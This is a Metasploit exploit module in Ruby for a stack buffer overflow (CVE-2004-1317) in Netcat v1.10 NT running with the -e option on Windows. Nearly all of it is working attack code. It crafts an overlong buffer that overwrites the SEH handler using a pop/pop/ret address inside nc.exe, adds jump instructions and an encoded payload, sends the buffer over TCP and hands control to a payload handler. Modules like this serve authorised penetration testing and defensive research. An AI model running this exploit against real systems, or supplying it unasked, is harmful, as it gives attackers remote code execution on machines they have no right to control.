Netcat v1.10 NT Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'Netcat v1.10 NT Stack Buffer Overflow',
      'Description'	=> %q{
          This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
          an overly long string we are able to overwrite SEH. The vulnerability
          exists when netcat is used to bind (-e) an executable to a port in doexec.c.
          This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
        },
      'Author'       => 'aushack',
      'Arch'			=> [ ARCH_X86 ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          [ 'CVE', '2004-1317' ],
          [ 'OSVDB', '12612' ],
          [ 'BID', '12106' ],
          [ 'EDB', '726' ]
        ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
        {
          'EXITFUNC'	=> 'thread',
        },
      'Payload'		=>
        {
          'Space'				=> 236,
          'BadChars'			=> "\x00\x0a\x0d",
          'StackAdjustment'	=> -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
        [
          # Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
          [ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
        ],
      'DisclosureDate' => '2004-12-27',
      'DefaultTarget' => 0))
  end

  def autofilter
    false
  end

  def exploit
    connect

    sploit = rand_text(277, payload_badchars)
    sploit[0, payload.encoded.length] = payload.encoded
    sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
    sploit[240, 4] = [target['Ret']].pack('V')
    sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)

    sock.put(sploit)

    handler
    disconnect
  end
end